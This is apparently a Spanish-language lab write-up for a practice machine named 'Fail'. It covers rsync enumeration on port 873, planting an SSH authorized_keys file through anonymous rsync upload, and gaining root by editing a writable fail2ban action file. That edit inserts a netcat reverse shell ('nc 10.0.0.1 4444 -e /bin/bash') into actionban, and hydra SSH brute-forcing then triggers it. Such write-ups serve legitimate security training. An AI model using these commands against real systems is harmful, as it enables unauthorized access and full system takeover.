> For the complete documentation index, see [llms.txt](https://1gnotus.gitbook.io/ignotus_pwn/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://1gnotus.gitbook.io/ignotus_pwn/proving-ground-practice-and-play/writeup/maquina-fail-enum-rsync-puerto-873-+-ssh-keygen-+-previsec-group-fail2bain.md).

# MAQUINA FAIL (ENUM RSYNC 'PUERTO 873' + SSH- KEYGEN + PREVISEC 'GROUP FAIL2BAIN')

Realizo un escaneo de puertos con nmap para ver los puertos abiertos, los servicios y las versiones de estos.

![](/files/wj4q8hMEIm9u23TLYnNO)

```
nmap -sC -sV -p 'puertos' 'ip' -oN fullscan.txt
```

El escaneo me encontró 2 puertos interesantes el 22 ssh y el 873 rsync.

Como no tengo credenciales dejo de lado el puerto 22 y me concentro en el puerto 873. Con nmap ejecute un script el cual me recopila un poco de información.

```
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
```

![](/files/2V1cKOiraCo184P1H3at)

Este script me muestra que tengo un usuario llamado fox y al parecer estaría el directorio home.

Con el siguiente comando voy a poder listar de forma anónima el directorio donde se encuentra fox.

```
rsync -av --list-only rsync://192.168.0.123/fox
```

![](/files/B2D25pWcE79rI25k3ryF)

Puedo ver que tengo varias carpetas, ahora lo bueno que tiene rsync es que puedo descargarme o traerme estos archivos a mi directorio de trabajo con el siguiente comando.

![](/files/bOau0QXiGISRCkFeKK3o)

```
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```

Estos archivos no contenían nada interesante, luego de una busqueda tambien puedo realizar subida de archivos, asi que intente cargar un archivo.txt.

```
rsync -av hola.txt rsync://fox@192.168.169.126/fox
```

![](/files/w6pTnQB6Zl3cowIqMo8F)

Ahora que subí con exito el mi archivo lo que hize fue realizar la subida de archivos de mi id\_rsa publica para tener acceso como fox.

Lo primero fue crear mi id\_rsa con ssh-keygen.

![](/files/GMPigvK7x8QCZUvyZ2q7)

Luego cree una carpeta llamada .ssh en el directorio /tmp, seguido copie la id\_rsa.publica al directorio /tmp.ssh pero como el nombre de authorized\_keys.

A la carpeta /tmp/.ssh la subo completa a la maquina victima con el comando utilizado anteriormente.

Ya subido el archivo a través del ssh como usuario fox me logue y ya estoy dentro de la maquina como usuario fox.

![](/files/jYkFHoq76tl0NiTat9Vg)

Ya dentro voy a realice un reconocimiento de la maquina para ver a lo que me estoy enfrentando.

Como solo tengo un usuario aparte del root, voy a buscar la forma de escalar privilegios para acceder como usuario root.

![](/files/I5hU9idOE2UpU47xv0bz)

En este caso probé utilizando sudo -l pero no hizo nada, luego busque permisos SUID encontrando lo siguiente.

![](/files/IOrffhbFGuomtJJl2lPH)

Al verificar el ID me tope con un grupo interesante que tiene permisos de root '1000' llamado fail2ban.

<https://es.wikipedia.org/wiki/Fail2ban>

![](/files/PNm8zZ1z4sJUKtEPfJ8o)

Buscando en google encontré que puedo aprovechar unas malas configuraciones para poder realizar la escalada de privilegios.

Lo primero que hice fue buscar archivos que tenga permisos de lectura y me tope con varios archivos pertenecientes a ese grupo.

![](/files/jIoxCgNVhrgWtxUtoV4Y)

Luego voy al directorio donde están estos archivos y listo completo la carpeta observando que tengo permisos de escritura también en todos los archivos.

![](/files/MtGag6TF5DHFeVPXqrvI)

Como dije anteriormente encontré la forma de escalar privielegios abusando de unas malas configuraciones de estos archivos, para ello realizo lo siguiente.

***`# Copio **iptables-multiport.conf** al directorio de inicio del usuario actual. cp /etc/fail2ban/action.d/iptables-multiport.conf ~`***

***`# Ahora modifique el archivo. nano ~/iptables-multiport.conf`***

***`#Insertamos una carga útil de shell inverso en el **actionban**. actionban = /usr/bin/nc 10.0.0.1 4444 -e /bin/bash`***

***`#Luego, vuelva el archivo de configuración al original.`***

***`mv ~/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf`***

Terminado de realizar estos pasos lo que hize fue utilizar hydra para realizar fuerza bruta al ssh.

![](/files/lsb54HfAexLcRjoJwHQX)

Listo ahora somos root.

<https://exploit-notes.hdks.org/exploit/network/rsync-pentesting/>

[https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-fail2ban-](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-fail2ban-privilege-escalation/) [privilege-escalation/](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-fail2ban-privilege-escalation/)
